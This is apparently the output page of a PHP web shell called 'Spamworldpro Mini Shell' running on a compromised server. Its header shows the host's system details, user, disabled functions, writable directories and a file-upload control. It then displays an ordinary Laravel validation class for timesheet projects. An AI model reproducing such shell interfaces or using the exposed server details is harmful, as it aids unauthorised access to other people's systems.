Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Http/Requests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Http/Requests/ProjectRequest.php
<?php

namespace Corals\Modules\Timesheet\Http\Requests;

use Corals\Foundation\Http\Requests\BaseRequest;
use Corals\Modules\Timesheet\Models\Project;
use Corals\Modules\Timesheet\Rules\ActivityRateRule;
use Corals\Modules\Timesheet\Rules\UserRateRule;
use Illuminate\Validation\Rule;

class ProjectRequest extends BaseRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        $this->setModel(Project::class);

        return $this->isAuthorized();
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        $this->setModel(Project::class);
        $rules = parent::rules();

        if ($this->isUpdate() || $this->isStore()) {
            $rules = array_merge($rules, [
                'name' => 'required',
                'description' => '',
                'bill_by' => Rule::when(in_array($this->type, ['time_and_materials', 'fixed_fee']), 'required'),
                'budget' => Rule::when($this->budget_by != null && $this->budget_by != 'no_budget', 'required|numeric', 'nullable|numeric'),
                'hourly_rate' => Rule::when(in_array($this->type, ['time_and_materials', 'fixed_fee']) && $this->bill_by === 'project_billable_rate', 'required|numeric'),
                'status' => 'required',
                'assignable' => Rule::when($this->bill_by === 'person_billable_rate', 'required|in:1'),
                'activity_rates' => Rule::when($this->bill_by === 'activity_billable_rate', ['required', 'array', 'min:1', new ActivityRateRule]),
                'user_rates' => Rule::when($this->bill_by === 'person_billable_rate', ['required', 'array', 'min:1', new UserRateRule]),
                'bill_cycle_starts_at' => Rule::when($this->bill_cycle === 'week', 'numeric|max:6'),
                'fee' => Rule::when($this->type === 'fixed_fee', 'required'),
                'budget_alert_limit' => Rule::when($this->boolean('send_email_on_exceed_limit'), 'required'),
            ]);
        }

        if ($this->isStore()) {
            $rules = array_merge($rules, [
            ]);
        }

        if ($this->isUpdate()) {
            $client = $this->route('project');

            $rules = array_merge($rules, [
            ]);
        }

        return $rules;
    }

    public function attributes()
    {
        return [
            'name' => trans('Timesheet::attributes.project.name'),
            'description' => trans('Timesheet::attributes.project.description'),
            'budget' => trans('Timesheet::attributes.project.budget'),
            'hourly_rate' => trans('Timesheet::attributes.project.hourly_rate'),
            'currency' => trans('Timesheet::attributes.project.currency'),
            'bill_cycle_starts_at' => 'Start of Cycle',
        ];
    }

    public function messages()
    {
        return [
            'bill_cycle_starts_at.max' => 'Select valid Start of cycle'
        ];
    }

    /**
     * @return \Illuminate\Contracts\Validation\Validator
     */
    public function getValidatorInstance()
    {
        $data = $this->all();

        if ($this->isStore() || $this->isUpdate()) {
            $data['billable'] = data_get($data, 'billable') ?? 0;
            $data['taxable'] = data_get($data, 'taxable') ?? 0;
            $data['assignable'] = data_get($data, 'assignable') ?? 0;
            $data['send_email_on_exceed_limit'] = data_get($data, 'send_email_on_exceed_limit') ?? 0;
            $data['reset_budget_each_month'] = data_get($data, 'reset_budget_each_month') ?? 0;

            if ($this->bill_cycle == 'daily') {
                $data['bill_cycle_starts_at'] = null;
            }

            $this->getInputSource()->replace($data);
        }

        return parent::getValidatorInstance();
    }
}

Spamworldpro Mini